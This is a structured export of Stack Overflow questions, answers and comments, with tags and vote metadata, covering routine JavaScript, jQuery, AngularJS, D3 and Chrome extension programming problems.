has body: I need to run a function from my Parse.com afterSave method but I'm new to javascript and something with the signature doesn't seem to work. The function I'm trying to call follows the Parse.Cloud reference: &lt;static&gt; {Parse.Promise} Parse.Cloud.run(name, data, options) This is the function I want to call: function funcToRun(data, response) { console.log("running funcToRun"); } I'm trying to call it like this: var data = "FilmName"; Parse.Cloud.run('funcToRun', data, ""); But no matter what I do the funcToRun doesn't get called.
tagged with: backbone.js
has title: Calling a function from cloud code
tagged with: parse-platform
type: UnansweredQuestion
upvote count: 1
score: 1
type: Question

http://stackoverflow.com/a/25579008
accepted answer of: http://stackoverflow.com/q/25574008
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25574008
upvote count: 1
type: Answer
downvote count: 0
has body: There is a working example, where I mostly switched the order of state declaration: .state('site.profile',{ url:'/{username:[a-z0-9A-Z]{3,20}}', ... }) .state('site.home', { url: '/', ... }) The reason is that ui-router url engine does iterate states in order they were declared, and tries to find a url match. this way, we will get the working definition. But I would suggest: use some keyword to distinguish url, e.g. url:'/profile/{username:[a-z0-9A-Z]{3,20}}', Not only this will help the engine to find the proper state by url, but even from perspective of the user/reader of the url - this seems to me more explicit, self-descriptive. Anyhow, switching state def should solve the issue here...
score: 1

http://stackoverflow.com/q/25594835
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39979370
accepted answer: http://stackoverflow.com/a/25595107
has comment: http://stackoverflow.com/comment/39980181
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/39979385
tagged with: javascript
score: 1
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/39979916
linked to: http://stackoverflow.com/q/14423328
has comment: http://stackoverflow.com/comment/39987091
has comment: http://stackoverflow.com/comment/39980330
linked to: http://stackoverflow.com/q/6941483
has title: Javascript “Uncaught TypeError: object is not a function”
has body: Code is as follows: function change_course(ref) { var arr = ref.split(/\^/); document.getElementById('course').value = arr[0]; document.getElementById('course_date').value = arr[1]; } This will throw an "Uncaught TypeError: object is not a function". &lt;select name="change_course" class="form-control" onChange="change_course(this.value);"&gt;'; Where is wrong
has answer: http://stackoverflow.com/a/25595107
upvote count: 1
type: Question

http://stackoverflow.com/comment/39957581
score: 0
type: AnswerComment
has text: I know what you mean, but even change that value I still have the same behaviour in Chrome.
type: Comment
comment on: http://stackoverflow.com/a/25552761

http://stackoverflow.com/q/25578670
tagged with: marionette
downvote count: 0
has body: I want the default values of a model to call a function like so: class Entities.Cart extends Backbone.Model defaults: =&gt; tip: 0 useStoreCredit: @hasCredit() hasCredit: =&gt; if @get('credit') &gt; 0 true else false I know defaults can be defined as a function as referenced in the Backbone docs and in the Marionette docs. But neither of those documents reference calling a function in the defaults hash. Is this possible?
has title: Passing a function into a model default value in Backbone.js
favorite count: 0
accepted answer: http://stackoverflow.com/a/25578909
tagged with: backbone.js
type: AnsweredQuestion
score: 1
upvote count: 1
tagged with: coffeescript
type: Question
has answer: http://stackoverflow.com/a/25578909
tagged with: javascript
answer count: 1

http://stackoverflow.com/q/25590340
has comment: http://stackoverflow.com/comment/39987310
answer count: 1
has answer: http://stackoverflow.com/a/25759407
tagged with: yii
tagged with: javascript
tagged with: jquery
favorite count: 0
score: 0
has title: booster have conflict in yii by jquery
tagged with: yii-booster
type: Question
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25759407
has body: I am using extention booster in simple project yii,I think booster has conflict in yii project, I could add booster to my project but I have error to all page in browser console: for example , CGridview of filter don't work or other my jquery owner function don't work too. error in firefox console: TypeError: jQuery(...).popover is not a function jQuery('[data-toggle=popover]').popover(); error in chorom console: How can remove my problem, I added only a jquery (version 9).
upvote count: 2
downvote count: 2

http://stackoverflow.com/q/25655998
accepted answer: http://stackoverflow.com/a/29203435
favorite count: 0
has comment: http://stackoverflow.com/comment/41550411
tagged with: http://stackoverflow.com/tag/html
has body: Hello Stack Overflow users! I've been searching all over with little (actually none) out there about my problem. I try hard not to ask questions that have already been asked but it seems like I'm the first to have this problem. I have installed the WebCL extension on Firefox. (I've tried it on version 31, 32, and 33 aurora) I also have WebGL enabled on Chrome and Firefox. I've written basic OpenGL programs that render boxes and stuff on my local machine. I've successfully compiled, linked and ran an example OpenCL program that uses the GPU to generate the string "Hello world" in a buffer and print it on my local machine. I've even been able to run WebGL examples in both Chrome and Firefox. I can also run WebCL examples that don't require WebGL. Now just to clarify beforehand, I'm only concerned about Firefox. My Chrome browser currently does not have WebCL functionality and Firefox was much easier to set up with WebCL. I only referred to Chrome to imply that WebGL does work as expected on more than one browser on my machine. The problem is, oddly enough, if I run a WebCL example before WebGL, WebGL will think there is no graphics driver until Firefox is restarted. Similarly, if I run a WebGL example before WebCL, WebCL will not be able to find an OpenCL driver on my machine until Firefox is restarted. I only have the WebCL extension installed in Firefox and nothing else. The terminal does not complain when any of these services are used. Currently running Distro: Arch Linux x86_64 Kernel version: Linux 3.16.1-1-ARCH GPU: AMD Radeon HD 7850 If anyone has any experience with this problem I'd greatly appreciate the assistance. If I somehow missed a Stack Overflow question with this problem I'd greatly appreciate the redirection.
upvote count: 2
possible better answer: http://stackoverflow.com/a/26030107
has answer: http://stackoverflow.com/a/26030107
has answer: http://stackoverflow.com/a/29203435
type: AnsweredQuestion
has title: webcl and webgl won't work at the same time
tagged with: javascript
tagged with: webgl
type: Question
tagged with: webcl
answer count: 2
score: 2
tagged with: firefox
downvote count: 0

http://stackoverflow.com/comment/40113161
type: Comment
comment on: http://stackoverflow.com/q/25668535
score: 0
has text: Please post your current code :^)
type: QuestionComment

http://stackoverflow.com/q/25578469
has body: This is Email Check Element Code in Angular.JS Almost is Ok, But this has a problem. When I fill out the email check element, It's reset! Example I Write this into email check element. "test@test.com" But this is Reset! when i write the '.' <- point. "test@test" <- OK "test@test." <- Reset the Input. When I write the '.' <- Why the problem occured? Javascript HTML inputIsValid={{myForm.emailAddress.$valid}} Required! Not valid email!
tagged with: angularjs-validation
tagged with: angularjs
has answer: http://stackoverflow.com/a/25578697
accepted answer: http://stackoverflow.com/a/25578697
tagged with: http://stackoverflow.com/tag/html
score: 2
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/39949779
has title: In the AngularJS Dynamic email validation element, When I fill out the email check element, It's reset
type: Question
tagged with: javascript
upvote count: 2
tagged with: angularjs-ng-model
answer count: 1
favorite count: 0

http://stackoverflow.com/a/25625266
type: Answer
answers question: http://stackoverflow.com/q/25624889
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25624889
has body: Remove the inline event handler and use event delegation: $(document).on('click', 'button', function () { $(this).closest('div.name').find('input').css('font-weight', 'bold') }) jsFiddle example
score: 1
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40003893
has text: @SamanGholami What do you mean, "the attribute value only"? This code does that - the value of `event.data.value` in the event handler will be the value of the "data-val" attribute on the ` ` element.
comment on: http://stackoverflow.com/a/25608271
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25612519
answer count: 1
has answer: http://stackoverflow.com/a/25612610
has body: For some reason my bars (rects) are drawing really wide- I think its because the dates are not parsing correctly. here is the code var fakeData= [ {"date":2013-10,"shortFig":10}, {"date":2013-11,"shortFig":-15}, {"date":2013-12,"shortFig":15}, {"date":2014-01,"shortFig":39}, {"date":2014-02,"shortFig":-38}, {"date":2014-03,"shortFig":33}, {"date":2014-04,"shortFig":-35}, {"date":2014-05,"shortFig":-2}, {"date":2014-06,"shortFig":-39}, {"date":2014-07,"shortFig":-46}, {"date":2014-08,"shortFig":23}, {"date":2014-09,"shortFig":45} ] ..this data becomes "thedata" in my chart building function where I try to parse the data and build the x scales and x axis: // parse dates var parseDate = d3.time.format("%Y–%m").parse; thedata.forEach(function(d) { var date = d.date.toString(); d.date = parseDate(date); }); //The X scale var xScale=d3.scale.ordinal() .rangeRoundBands([0, width], .1) .domain(thedata.map(function(d) { return d.date; })); //With the X scale, set up the X axis var xAxis = d3.svg.axis() .scale(xScale) .orient("bottom") .tickValues([thedata[0].date]); //Call the X axis baseGroup.append("g") .attr("class", "xaxis") .attr("transform", "translate(0," + height + ")") .call(xAxis); baseGroup.selectAll("rect") .data(thedata) .enter() .append("rect") .attr("class", function(d){ if(d.shortFig &gt;= 0){return "green3"}else{return "red3"} }) .attr({ "x": function(d) {return xScale(d.date);}, "y": function(d) {return yScale(Math.max(0, d.shortFig));}, //Return the number with the highest value "height": function(d) {return Math.abs(yScale(d.shortFig) - yScale(0));}, //Return the absolute value of a number, so negative numbers will be positive "width": xScale.rangeBand() });
tagged with: parsing
tagged with: d3.js
has comment: http://stackoverflow.com/comment/40011393
type: AnsweredQuestion
type: Question
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25612610
score: 0
has title: D3: Not able to parse dates with year-month

http://stackoverflow.com/q/25709104
answer count: 1
accepted answer: http://stackoverflow.com/a/25709607
has comment: http://stackoverflow.com/comment/40187326
has answer: http://stackoverflow.com/a/25709607
has title: I am trying to completely remove an element from a website. Chrome Extension
has comment: http://stackoverflow.com/comment/40187240
tagged with: google-chrome
has comment: http://stackoverflow.com/comment/40187460
type: Question
type: AnsweredQuestion
has body: I am trying to remove the arrows from www.redditp.com. I think the issue I am having is that the inner HTML of these divs don't actually contain anything so I need to delete the actual element (I can't find how to do that). But I could be completely wrong. Here is my code. manifest.json { "name": "Redditp Button Disabler", "version": "0.0.1", "description": "Disable ugly buttons on Redditp.", "permissions": ["https://redditp.com/"], "manifest_version": 2, "content_scripts": [ { "matches": [ "http://redditp.com/*"], "js": ["main.js"], "run_at": "document_end", "all_frames": true } ] } main.js document.getElementById('nextButton').innerHTML = ''; document.getElementById('prevButton').innerHTML = ''; Can anybody find a way to get this working for me? Thanks guys.
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40187647

http://stackoverflow.com/comment/39984430
score: 0
comment on: http://stackoverflow.com/a/25589379
type: Comment
has text: @user949300 No it does not create two connections which is why the listing is a runnable example to show that it does not. So it's meant to be tried to see the results yourself. Anything expecting a declared variable outside of a callback that can initiate a connection will certainly fail.
type: AnswerComment

http://stackoverflow.com/q/25687948
answer count: 1
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25688027
tagged with: ajax
score: 0
has title: How Can I destroy a jquery slideshow and load elements with default style?
tagged with: http://stackoverflow.com/tag/html
tagged with: css
type: UnansweredQuestion
type: Question
has body: I am using a jquery slideshow plugin called superslides. I wanted to implement a multi styled page for my quote site. By default the slideshow plugin is initiated. I need to destroy the slide effect on button click and load grid view for my elements. I have tried removing the id for the slideshow markup and then do an ajax load,but it doesn't work! This jquery plugin has a destroy api $('#slides').superslides('destroy'). This is a quote This is another

http://stackoverflow.com/comment/40175799
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25702770
has text: I see and that makes sense now. document.links was not returning a link object, so there is no getAttribute() function available. So I need to return the document.links.items to get each link object.

http://stackoverflow.com/comment/39973414
has text: Are you looking for this http://jsfiddle.net/9Lhpo8pL/19/ ?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25591564
score: 0

http://stackoverflow.com/q/25552688
accepted answer: http://stackoverflow.com/a/25554611
linked to: http://stackoverflow.com/q/11753321
score: 2
linked to: http://stackoverflow.com/q/13216115
type: AnsweredQuestion
tagged with: angular-filters
possible better answer: http://stackoverflow.com/a/25553314
downvote count: 0
has answer: http://stackoverflow.com/a/25553314
tagged with: angularjs-ng-repeat
favorite count: 0
tagged with: angularjs
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25554611
upvote count: 2
tagged with: javascript
has title: Multiple parameters angular filter inside ng-repeat
linked to: http://stackoverflow.com/q/16227325
has body: I'm trying to make a filter inside a ng-repeat based on a custom filter that receives two parameters. At the same time, one of those parameters is one property of the object on the repeat. So in my ng-repeat code I have: &lt;tr ng-repeat="player in myTeam | bitwiseAnd:{firstNumber: player.Flag, secondNumber: type}"&gt; But it's not working. If I debug it, the filter is receiving in the first parameter undefined. I've read the documentation : https://docs.angularjs.org/guide/filter I've read also multiple related questions in SO Filtering by Multiple Specific Model Properties in AngularJS (in OR relationship) Passing arguments to angularjs filters How do I call an Angular.js filter with multiple arguments? Without success. I've created a plunker where we can see how the filter is working properly when I use it as an expression, so probably the problem is sending the values inside the ng-repeat statement. Here is the plunker: http://plnkr.co/edit/IGvDBq?p=preview Thanks for your time

http://stackoverflow.com/a/25695066
type: Answer
score: 1
upvote count: 1
downvote count: 0
answers question: http://stackoverflow.com/q/25694887
has body: I'm not sure if this answers your question. But if you want to share a variable you could use $rootScope. You can see the documentation here https://docs.angularjs.org/api/ng/service/$rootScope

http://stackoverflow.com/a/25703559
answers question: http://stackoverflow.com/q/25703435
has body: In your code here... {{#each form}} &lt;input type="text" id="{{id}}" required&gt; {{/each}} I don't see a name attribute as part of the input element. For the jQuery Validate plugin to function properly, every input must have a unique name attribute. It's how this plugin keeps track of every input. This is exactly why you're only getting validation on the first input. See documentation: "The name attribute is "required" for input elements, the validation plugin doesn't work without it."
type: AcceptedAnswer
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25703435

http://stackoverflow.com/comment/40069868
has text: Can you console.log data and paste the exact result here?
score: 5
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25644694

http://stackoverflow.com/comment/46315897
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25684307
has text: It is not possible at the moment, I have created this bug to handle that case: https://github.com/pgte/nock/issues/283

http://stackoverflow.com/q/25616500
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40018784
downvote count: 3
type: Question
has answer: http://stackoverflow.com/a/25616611
has comment: http://stackoverflow.com/comment/40018780
upvote count: 0
answer count: 1
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25616611
favorite count: 0
has body: I am working on a web project where the client requires me to do that whenever the cursor hovers out of the page like when users moves the cursor to the taskbar,title bar,etc then the whole website content should be replaced with a cover screen. I think I can use jQuery to track the mouse inside the screen. if cursor moves out of the screen, then I can set display of whole screen to none and display a cover image on whole screen. Use mouseleave(), mouseenter() functions. But the problem is I am not that much familiar with jQuery. Help me with writing the code.
has title: Replacing whole website content with a wallpaper
tagged with: http://stackoverflow.com/tag/html
score: -3
tagged with: css

http://stackoverflow.com/comment/40008393
type: AnswerComment
type: Comment
has text: so try using **ng-model=""** usually forms need it ;) @rtp i updated the answer
comment on: http://stackoverflow.com/a/25610791
score: 0

http://stackoverflow.com/comment/40138409
has text: https://github.com/Marak/node_mailer has been depricated in favour of nodemailer.
type: AnswerComment
comment on: http://stackoverflow.com/a/25678851
score: 0
type: Comment

http://stackoverflow.com/a/25557589
type: Answer
has body: I'm biased against switch statements because Douglas Crockford makes a case against potential fall-through in Javascript the Good Parts. With an if/else control flow this should work: function setAgencyPrefix(){ var a; var r = document.getElementById('agency'); console.log(r.options[r.selectedIndex].value); var requestor = r.options[r.selectedIndex].value; if (requester === 'City of Banks'){ a.value = 'Banks'; return a } else if ( requester === 'City of Beaverton'){ a.value = 'BVT'; return a; } else if (requester === 'City of Tigard'){ a.value = 'TIG'; return a; } else if (requester === 'City of Tualatin'){ a.value = 'TUAL'; return a } else { a.value = 'OTHER'; return a; } }
answers question: http://stackoverflow.com/q/25557130
score: 0

http://stackoverflow.com/a/25611245
type: Answer
answers question: http://stackoverflow.com/q/25609034
has body: Something like the following should work, I think. ... truncated ... &lt;script type="text/javascript"&gt; function main() { var scriptContent = document.getElementById('text-intro').textContent; // You can symbols here for jsHint to assume are existing. var globals = { jQuery: true // Assume that jQuery is defined and don't report it as an error. }; // Options to pass to jshint, see the docs. Here are some examples. var options = { /* '-W034': true */ /* 'camelcase': true */ /* 'predef': ['-window'] // remove a normally predefined var */ /* exported: ['MyVar'] // tell jshint this var is used in another file */ }; JSHINT(scriptContent, options, globals); // Now do something with JSHINT.errors } main(); &lt;/script&gt;
score: 0

http://stackoverflow.com/q/25582053
downvote count: 0
tagged with: javascript
favorite count: 0
tagged with: google-chrome-extension
has title: How to inject a script after searching on google page
has answer: http://stackoverflow.com/a/25582124
upvote count: 1
type: AnsweredQuestion
score: 1
accepted answer: http://stackoverflow.com/a/25582124
type: Question
has body: I need to know how to inject a script when I type on google search "start extension" I did this but didn't work if(location.origin === "https://www.google.com" &amp;&amp; location.hash.indexOf("q=start+extension")!==-1) (document.body || document.head).appendChild(script);
answer count: 1

http://stackoverflow.com/q/25603272
tagged with: jquery
tagged with: ajax
has answer: http://stackoverflow.com/a/25706306
has comment: http://stackoverflow.com/comment/39994778
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39997989
has comment: http://stackoverflow.com/comment/39995740
has body: I am new to cakephp. I am using cakephp version 2.3. Having problem using ajax to auto updating tag, it is just not working. Here is my CustomersController.php public $helpers = array('Html', 'Form', 'Js'); public $components = array('Session', 'Paginator', 'RequestHandler'); public function index() { $this->set('data', 'initial-value'); } public function updatedata() { $this->set('data', 'updated-value'); } And here is my index.ctp Customers <?php echo $data; ?> The 'start' and 'end' alert windows did displayed, but the did not updated. Any help appreciated.
type: Question
has comment: http://stackoverflow.com/comment/39996473
tagged with: cakephp
tagged with: javascript
has comment: http://stackoverflow.com/comment/39997889
score: 0
has title: CakePHP AJAX does not updating div tag
answer count: 1

http://stackoverflow.com/comment/39987340
comment on: http://stackoverflow.com/a/25580979
type: AnswerComment
has text: The CoffeeScript definitely looks much cleaner I'll definitely try reading up on it. Thank you
score: 0
type: Comment

http://stackoverflow.com/q/25700929
possible better answer: http://stackoverflow.com/a/25700973
has comment: http://stackoverflow.com/comment/40172188
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40172155
tagged with: forms
type: Question
has answer: http://stackoverflow.com/a/25701005
tagged with: javascript
tagged with: jquery
answer count: 3
has body: My code is: &lt;input id='edit' type='checkbox' /&gt; while($rs = mysql_fetch_array($query_fetch)) { echo " &lt;input type='text' name='qty' id='qty' value='".$sum[0]."' disabled&gt; "; } &lt;script&gt; document.getElementById('edit').onchange = function() { document.getElementById('qty').disabled = !this.checked; }; &lt;/script&gt; The problem is that when check the checkbox only the first row of the loop is effected. I want when checkbox is checked all input to be enabled.
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/25701068
accepted answer: http://stackoverflow.com/a/25701005
favorite count: 0
has title: jQuery get only first id value from the loop
has answer: http://stackoverflow.com/a/25700973
upvote count: 1
tagged with: php

http://stackoverflow.com/a/25601754
accepted answer of: http://stackoverflow.com/q/25601722
upvote count: 3
answers question: http://stackoverflow.com/q/25601722
has comment: http://stackoverflow.com/comment/39991875
type: AcceptedAnswer
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/39991968
has comment: http://stackoverflow.com/comment/39991796
has body: Wrap it in a document.ready handler - jsfiddle does this for you automatically... $(function() { $("form").submit(function (event) { if ($.isNumeric($("input[name=commodity]").val()) === false) { $(".error_show").text("kosten müssen Zahl sein!").show(); event.preventDefault(); } else if ($("input[name=plz]").val().length != 5) { $(".error_show").text("PLZ muss aus 5 Zeichen bestehen!").show(); event.preventDefault(); } else if ($.isNumeric($("input[name=leistung]").val()) === false) { $(".error_show").text("Leistung muss Zahl sein!").show(); event.preventDefault(); } else if ($("input[name=nb]").val() === "") { $(".error_show").text("Kein angebot!").show(); event.preventDefault(); } else { $(".error_show").text("Validated...").show(); return; } }); });
has comment: http://stackoverflow.com/comment/39992091
score: 3
has comment: http://stackoverflow.com/comment/39992263

http://stackoverflow.com/comment/39918194
type: QuestionComment
comment on: http://stackoverflow.com/q/25562019
score: 0
type: Comment
has text: FF and Chrome don't support `onpropertychange`, hence nothing happens. In IE you really get an infinite loop, since you're changing properties of the event target element, and [`onpropertychange`](http://msdn.microsoft.com/en-us/library/ie/ms536956%28v=vs.85%29.aspx) fires again and again ...

angularjs
tags question: http://stackoverflow.com/q/25674656
tags question: http://stackoverflow.com/q/25577917
tags question: http://stackoverflow.com/q/25579729
tags question: http://stackoverflow.com/q/25613804
tags question: http://stackoverflow.com/q/25679319
tags question: http://stackoverflow.com/q/25664014
tags question: http://stackoverflow.com/q/25588403
tags question: http://stackoverflow.com/q/25646125
tags question: http://stackoverflow.com/q/25679795
tags question: http://stackoverflow.com/q/25575464
tags question: http://stackoverflow.com/q/25634137
tags question: http://stackoverflow.com/q/25629152
tags question: http://stackoverflow.com/q/25676056
tags question: http://stackoverflow.com/q/25710227
tags question: http://stackoverflow.com/q/25682580
tags question: http://stackoverflow.com/q/25651006
tags question: http://stackoverflow.com/q/25632973
tags question: http://stackoverflow.com/q/25602795
tags question: http://stackoverflow.com/q/25694887
tags question: http://stackoverflow.com/q/25634445
tags question: http://stackoverflow.com/q/25667560
tags question: http://stackoverflow.com/q/25588801
tags question: http://stackoverflow.com/q/25657655
tags question: http://stackoverflow.com/q/25584455
tags question: http://stackoverflow.com/q/25647362
tags question: http://stackoverflow.com/q/25565475
tags question: http://stackoverflow.com/q/25684304
tags question: http://stackoverflow.com/q/25610860
tags question: http://stackoverflow.com/q/25655630
tags question: http://stackoverflow.com/q/25695375
tags question: http://stackoverflow.com/q/25585879
tags question: http://stackoverflow.com/q/25594487
tags question: http://stackoverflow.com/q/25657907
tags question: http://stackoverflow.com/q/25644973
tags question: http://stackoverflow.com/q/25600225
tags question: http://stackoverflow.com/q/25697422
tags question: http://stackoverflow.com/q/25691759
tags question: http://stackoverflow.com/q/25562505
tags question: http://stackoverflow.com/q/25565886
tags question: http://stackoverflow.com/q/25636022
tags question: http://stackoverflow.com/q/25691026
tags question: http://stackoverflow.com/q/25590765
tags question: http://stackoverflow.com/q/25556105
tags question: http://stackoverflow.com/q/25626299
tags question: http://stackoverflow.com/q/25682239
tags question: http://stackoverflow.com/q/25688036
tags question: http://stackoverflow.com/q/25681055
tags question: http://stackoverflow.com/q/25607700
tags question: http://stackoverflow.com/q/25620407
tags question: http://stackoverflow.com/q/25608884
tags question: http://stackoverflow.com/q/25703564
tags question: http://stackoverflow.com/q/25620082
tags question: http://stackoverflow.com/q/25642178
tags question: http://stackoverflow.com/q/25568211
tags question: http://stackoverflow.com/q/25711877
tags question: http://stackoverflow.com/q/25645229
tags question: http://stackoverflow.com/q/25570473
tags question: http://stackoverflow.com/q/25705475
tags question: http://stackoverflow.com/q/25564201
tags question: http://stackoverflow.com/q/25563047
tags question: http://stackoverflow.com/q/25552159
tags question: http://stackoverflow.com/q/25596474
tags question: http://stackoverflow.com/q/25661796
tags question: http://stackoverflow.com/q/25601980
tags question: http://stackoverflow.com/q/25672360
tags question: http://stackoverflow.com/q/25659617
tags question: http://stackoverflow.com/q/25591794
tags question: http://stackoverflow.com/q/25601755
tags question: http://stackoverflow.com/q/25610999
tags question: http://stackoverflow.com/q/25591346
type: Tag
tags question: http://stackoverflow.com/q/25556486
tags question: http://stackoverflow.com/q/25552857
tags question: http://stackoverflow.com/q/25616641
tags question: http://stackoverflow.com/q/25693216
tags question: http://stackoverflow.com/q/25614714
tags question: http://stackoverflow.com/q/25666311
tags question: http://stackoverflow.com/q/25578105
tags question: http://stackoverflow.com/q/25574620
tags question: http://stackoverflow.com/q/25649489

http://stackoverflow.com/comment/39984636
comment on: http://stackoverflow.com/a/25597610
has text: Thank you. I didn't write the original code, so I'm having trouble understanding why some choices were made as well. But I am CLEARLY not an expert in anything. This didn't work in my scenario, but I appreciate the suggestion and it gave me some things to think about.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25624884
downvote count: 0
score: 7
tagged with: win-universal-app
favorite count: 0
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25647663
tagged with: winjs
has body: I am trying to create a WinJS.UI.Flyout with a single input field and a single button to allow the user to enter a new value in the input field and click on the button to save it. However, on windows phone 8.1, Flyouts are not supported. How can I work around that? Is there a way to mimic the behavior of the WinJS.UI.Flyout component on phone 8.1? Thanks in advance.
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25647663
upvote count: 7
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/28666604
accepted answer: http://stackoverflow.com/a/28666604
has title: WinJS.UI.Flyout HTML on windows phone 8.1
tagged with: windows-phone-8.1
type: AnsweredQuestion

http://stackoverflow.com/comment/83772068
type: Comment
score: 2
comment on: http://stackoverflow.com/a/25678555
has text: Would you care to explain 3 1/2 years later why is it frowned upon?
type: AnswerComment

http://stackoverflow.com/q/25624523
has comment: http://stackoverflow.com/comment/40033470
downvote count: 0
score: 1
has body: I'm trying to append a div to all dynamically added divs to my page using this code: $('.tagged .post').append('&lt;div class="fadeout"&gt;&lt;/div&gt;'); but I simply cannot get it to work. So I was thinking, would it be possible to bind this outside of $(document).ready() somehow, so the code looks for all the elements that match the selector and append the "fadeout" div to them?
type: Question
has comment: http://stackoverflow.com/comment/40033421
upvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/40033507
tagged with: javascript
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25624993
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/40033471
has comment: http://stackoverflow.com/comment/40033496
has title: Bind an event outside of DOM ready?
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40034433
linked to: http://stackoverflow.com/q/7434685

http://stackoverflow.com/comment/40046386
has text: I really can't even imagine a scenario where doing this inline would be better. Good question though!
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25631332

http://stackoverflow.com/comment/40035435
comment on: http://stackoverflow.com/q/25625464
has text: what about a hidden div? And after you scored, show it and load your html page into this div. jQuery could look like this $("#myDiv").show.load("path/to/html.html");
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25688408
score: 1
type: Answer
has body: Managed to figure this one out. My answer might not be the best way to solve this, but this answer should work. Render the Datatable on your view {{ Datatable::table() -&gt;addColumn('RS#','Requested At', 'Requested to', 'Deliver from', 'Edit', 'Delete') -&gt;setUrl(route('api.ajax')) -&gt;render() }} routes.php Route::get('api/ajax', array( 'as' =&gt; 'api.ajax', 'uses' =&gt; 'DeliveryRequestsController@ajax' )); DeliveryRequests Controller public function ajax() { return Datatable::query($this-&gt;delivery_request-&gt;ajaxDeliveryRequests('Pending')) -&gt;showColumns('delivery_request_number','created_at', 'delivery_from', 'delivery_to') -&gt;addColumn('delivery_request_number', function($model) { return '&lt;a href='.$model-&gt;id.'&gt;'.$model-&gt;delivery_request_number.'&lt;/a&gt;'; }) -&gt;addColumn('Edit', function($model) { return '&lt;a href='.$model-&gt;id.'/edit class="btn btn-default"&gt;Edit&lt;/a&gt;'; }) -&gt;addColumn('Delete', function($model) { $modal = '&lt;div class="modal fade" id="cancel-DR-'.$model-&gt;id.'"&gt; '.Form::open(array("route" =&gt; array("requisition-slips.destroy", $model-&gt;id), "method" =&gt; "delete")).' &lt;div class="modal-dialog"&gt; &lt;div class="modal-content"&gt; &lt;div class="modal-header"&gt; &lt;button type="button" class="close" data-dismiss="modal"&gt;&lt;span aria-hidden="true"&gt;&amp;times;&lt;/span&gt;&lt;span class="sr-only"&gt;Close&lt;/span&gt;&lt;/button&gt; &lt;h4 class="modal-title"&gt;Cancel RS&lt;/h4&gt; &lt;/div&gt; &lt;div class="modal-body"&gt; &lt;p&gt;Are you sure want to cancel RS#&lt;b&gt;'.$model-&gt;delivery_request_number.'&lt;/b&gt;&lt;/p&gt; &lt;/div&gt; &lt;div class="modal-footer"&gt; &lt;button type="button" class="btn btn-default" data-dismiss="modal"&gt;No&lt;/button&gt; &lt;button type="submit" class="btn btn-danger" name="cancelDR"&gt;Yes&lt;/button&gt; &lt;/div&gt; &lt;/div&gt;&lt;!-- /.modal-content --&gt; &lt;/div&gt;&lt;!-- /.modal-dialog --&gt; '.Form::close().' &lt;/div&gt;&l…
accepted answer of: http://stackoverflow.com/q/25605652
upvote count: 1
answers question: http://stackoverflow.com/q/25605652
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40177114
comment on: http://stackoverflow.com/q/25703367
type: Comment
type: QuestionComment
has text: @dsuckau: Actually you *can* compare arrays with strings, and it might even work: `"5,5" == [5,5] // true`. Of course you're correct, that's not how it should be done.
score: 0

http://stackoverflow.com/q/25617691
possible better answer: http://stackoverflow.com/a/25617797
tagged with: javascript
score: 0
answer count: 2
has title: How to create an array and store in local storage using json
tagged with: arrays
has answer: http://stackoverflow.com/a/25617797
accepted answer: http://stackoverflow.com/a/25617775
has comment: http://stackoverflow.com/comment/40021195
type: AnsweredQuestion
has body: Hi guys so i have a form which takes in data like item name, code etc, so when i press the enter button...iv used json stringify and get an alert of what is stored in the local storage. However when i click reset and create a new item it just shows the new item, is there anyway i could store all my items created in local storage...? this is part of my coding. Im a beginner so please excuse if the question is too simple Thanks $('#myBox #EnterButton').click(function() { ItemData = { 'ItemCode' : $('#ItemCode').val(), 'ItemName' : $('#ItemName').val() }; localStorage.ItemData=JSON.stringify(ItemData); $('#myBox').slideUp(); }); ... $('#myBox2 #EnterButton').click(function() { if (localStorage.ItemData) { alert(localStorage.ItemData); ItemData = JSON.parse(localStorage.ItemData); } if (ItemData.ItemCode) { $('#myBox #ItemCode').val(ItemData.ItemCode); } if (ItemData.ItemName) { $('#myBox #ItemName').val(ItemData.ItemName); } }) and i have declared itemdata as a public variable. Hope its clear. TIA
has comment: http://stackoverflow.com/comment/40021004
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/25617775
type: Question

http://stackoverflow.com/a/25707440
accepted answer of: http://stackoverflow.com/q/25707093
type: Answer
upvote count: 3
has body: Found it at java bindings docs will generally return true for everything but disabled input elements. So I figured, workaround is using + negating elm.getAttribute('disabled') instead of elm.isEnabled() it('link should now be disabled', function() { expect(linkElm.getAttribute('disabled')).toBeTruthy(); });
answers question: http://stackoverflow.com/q/25707093
score: 3
type: AcceptedAnswer
